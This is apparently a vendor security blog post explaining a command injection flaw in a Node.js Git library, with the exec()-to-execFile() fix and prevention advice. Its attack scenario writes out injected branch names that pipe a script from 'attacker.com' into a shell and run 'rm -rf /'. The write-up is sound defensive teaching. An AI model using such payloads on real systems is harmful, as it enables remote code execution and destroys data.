How Command Injection Happens in Node.js `child_process` and How to Fix It

How Command Injection Happens in Node.js child_process and How to Fix It

In a Node.js library handling Git operations, we discovered a high-severity command injection vulnerability in src/git.js that could allow attackers to execute arbitrary shell commands. The vulnerable code at line 36 used child_process.exec() with string-concatenated commands, passing user-controlled branch names and repository slugs directly into a shell interpreter.

This vulnerability is particularly dangerous because the library is consumed by downstream applications—meaning a weakness here propagates to every project that depends on it. The fix demonstrates a critical pattern shift: never let user input reach a shell interpreter.

Introduction

The src/git.js file handles repository cloning and Git command execution, but a flaw in the execCmd() function created a security risk that could be exploited through seemingly innocent repository configurations. At line 36, the code executed:

exec(
    command,
    { cwd: workingDir },
    function (error, stdout) { ... }
)

The command variable was constructed by filtering and joining array elements with spaces, including the return value of getRepoBranch()—user-controlled data that flows from repository configuration. When branch names like main; rm -rf / or $(curl attacker.com/payload | sh) reached this code, the shell would execute the injected commands.

Additionally, the interpolateCommitMessage() function at line 23 used new RegExp() with user-controlled keys, creating a secondary injection vector through regex special characters.

This matters for any developer building automation around Git operations, CI/CD pipelines, or command execution in Node.js. The pattern of "building command strings and passing them to exec()" is dangerously common—and dangerously wrong.

The Vulnerability Explained

The Primary Attack Vector: exec() with String Concatenation

The vulnerable code in src/git.js:36 executed Git commands like this:

const clone = async () => {
    const command = [
        "GIT_LFS_SKIP_SMUDGE=1",
        "git clone",
        "--depth 1",
        getRepoBranch() === undefined ? false : ` -b ${getRepoBranch()}`,
        `https://${GITHUB_TOKEN}@${GITHUB_SERVER}/${getRepoSlug()}.git`,
        getRepoPath(),
    ];
    return execCmd(command.filter(Boolean).join(" "));  // ← DANGEROUS
};

The execCmd() function then passed this string to child_process.exec():

function execCmd(command, workingDir) {
    log.info(`EXEC: "${command}" IN "${workingDir || "./"}"`);
    return new Promise((resolve, reject) => {
        exec(
            command,  // ← Shell interprets this entire string
            { cwd: workingDir },
            function (error, stdout) { ... }
        );
    });
}

Why this is exploitable: child_process.exec() spawns a shell (/bin/sh on Linux, cmd.exe on Windows) and passes the command string to that shell for interpretation. This means shell metacharacters—;, |, &, $(), backticks, newlines—are evaluated. A malicious branch name transforms from data into code.

The Secondary Attack Vector: Regex Injection in Message Interpolation

The interpolateCommitMessage() function at line 23 used:

newMessage = newMessage.replace(new RegExp(`%${key}%`, "g"), data[key]);

If key contains regex special characters like ., *, +, ?, ^, $, {, }, [, ], \, |, (, ), the RegExp constructor throws—or worse, matches unintended patterns. While not directly exploitable for command execution, this creates an injection primitive that automated attack tools could chain with other weaknesses.

Real-World Attack Scenario

Consider a CI/CD system using this library to clone repositories based on webhook payloads. An attacker creates a branch named:

feature; curl -s attacker.com/exfil.sh | bash; #

When getRepoBranch() returns this string, the constructed command becomes:

GIT_LFS_SKIP_SMUDGE=1 git clone --depth 1 -b feature; curl -s attacker.com/exfil.sh | bash; # https://token@github.com/org/repo.git ./path

The shell executes: git clone (succeeds), then curl | bash (malicious payload), then # starts a comment. The attacker gains code execution in the CI environment, potentially accessing secrets, modifying builds, or pivoting to production systems.

The Fix

The patch replaces three dangerous patterns with secure alternatives:

1. Replace exec() with execFile() and Array Arguments

Before (src/git.js:1 and src/git.js:36):

import { exec } from "child_process";

// ...
exec(
    command,  // String: "git clone --depth 1 -b BRANCH URL PATH"
    { cwd: workingDir },
    callback
)

After:

import { execFile } from "child_process";

// ...
execFile(
    "git",                              // Command (string)
    args,                               // Arguments (array)
    { cwd: workingDir, shell: false },  // No shell interpretation
    callback
)

Security improvement: execFile() executes the binary directly without spawning a shell when shell: false (the default). The args array is passed directly to the operating system's execve()-style call, with no string parsing. Even if args[2] contains ; rm -rf /, it's treated as a literal argument to git clone, not as shell syntax.

2. Restructure Command Construction with Arrays

Before:

const command = [
    "GIT_LFS_SKIP_SMUDGE=1",
    "git clone",
    "--depth 1",
    getRepoBranch() === undefined ? false : ` -b ${getRepoBranch()}`,
    `https://${GITHUB_TOKEN}@${GITHUB_SERVER}/${getRepoSlug()}.git`,
    getRepoPath(),
];
return execCmd(command.filter(Boolean).join(" "));

After:

const args = [
    "clone",
    "--depth",
    "1",
    ...(getRepoBranch() !== undefined ? ["-b", getRepoBranch()] : []),
    `https://${GITHUB_TOKEN}@${GITHUB_SERVER}/${getRepoSlug()}.git`,
    getRepoPath(),
];
// Passed as: execFile("git", args, { shell: false, env: {...} })

Key changes:
- GIT_LFS_SKIP_SMUDGE=1 moved to env option, not inline shell variable
- Each argument is a separate array element—no string concatenation
- Branch name is a standalone element: ["-b", getRepoBranch()] not `-b ${branch}`
- shell: false explicitly disables shell interpretation

3. Replace RegExp.replace() with split().join()

Before (src/git.js:23):

newMessage = newMessage.replace(new RegExp(`%${key}%`, "g"), data[key]);

After:

newMessage = newMessage.split(`%${key}%`).join(data[key]);

Security improvement: split().join() performs literal string matching with no regex interpretation. Special regex characters in key are treated literally. This eliminates the regex injection primitive entirely.

Prevention & Best Practices

The Golden Rule: Never Pass User Input to Shells

Node.js-Specific Guidelines

1. Prefer execFile() over exec(): Use execFile() for single commands with known arguments. Reserve exec() only for shell pipelines you absolutely need—and validate inputs rigorously.

2. Always set shell: false: Explicitly disable shell interpretation. The default for execFile() is false, but being explicit documents intent.

3. Use arrays, not strings: Pass arguments as array elements. Never concatenate user input into command strings.

4. Sanitize environment variables: Move environment variable setting to the env option, not inline shell syntax.

Detection Tools

• Semgrep: Rule javascript.lang.security.detect-child-process.detect-child-process flags dangerous child_process usage
• ESLint security plugin: Detects exec() with template literals
• CodeQL: Tracks taint from user input to command execution sinks

References to Standards

• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• OWASP Command Injection Prevention: https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
• Node.js child_process security: https://nodejs.org/api/child_process.html#child_processexecfilefile-args-options-callback

Key Takeaways

• Never use exec() with dynamic arguments in src/git.js: The execCmd() function now uses execFile() with shell: false, eliminating shell interpretation entirely
• Array arguments prevent injection: The clone() function now passes ["clone", "--depth", "1", "-b", branch, url, path] as separate elements—branch names with shell metacharacters are treated as literals
• Replace RegExp interpolation with split().join(): The interpolateCommitMessage() function no longer uses new RegExp() with user-controlled keys, preventing regex injection
• Environment variables belong in env, not command strings: GIT_LFS_SKIP_SMUDGE=1 is now set via the env option, not inline shell syntax that could be manipulated
• Proactive removal of exploit primitives: This patch eliminates code patterns that automated attack tools could chain with other weaknesses, raising the security bar against future vulnerabilities

How Orbis AppSec Detected This

Source: Repository branch names and slugs from getRepoBranch() and getRepoSlug() in src/git.js:33-34

Sink: child_process.exec(command, ...) at src/git.js:36 where command is built from string concatenation including user-controlled branch names

Missing control: No validation or sanitization of branch names before inclusion in shell command; no use of execFile() with array arguments; shell: true (implicit) allowed shell metacharacter interpretation

CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)

Fix: Replaced exec() with execFile("git", args, {shell: false, env: {...}}), restructured command construction to use array arguments, replaced RegExp.replace() with split().join() for safe string interpolation, and moved environment variables to the env option

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability in src/git.js illustrates a fundamental security principle: data and code must remain strictly separated. The exec() function blurs this boundary by treating command strings as code to be interpreted. The fix restores this separation by using execFile() with array arguments—data stays data, never becoming code.

For developers building Git automation, CI/CD tools, or any system executing external commands, the pattern is clear: avoid exec(), embrace execFile() with shell: false, and never trust that input validation alone is sufficient. The most secure code is code that doesn't give attackers the opportunity to inject in the first place.

References

• CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
• OWASP Command Injection Defense Cheat Sheet
• Node.js child_process.execFile() documentation
• Semgrep rule: javascript.lang.security.detect-child-process.detect-child-process
• harden: sanitize child_process call in git.js...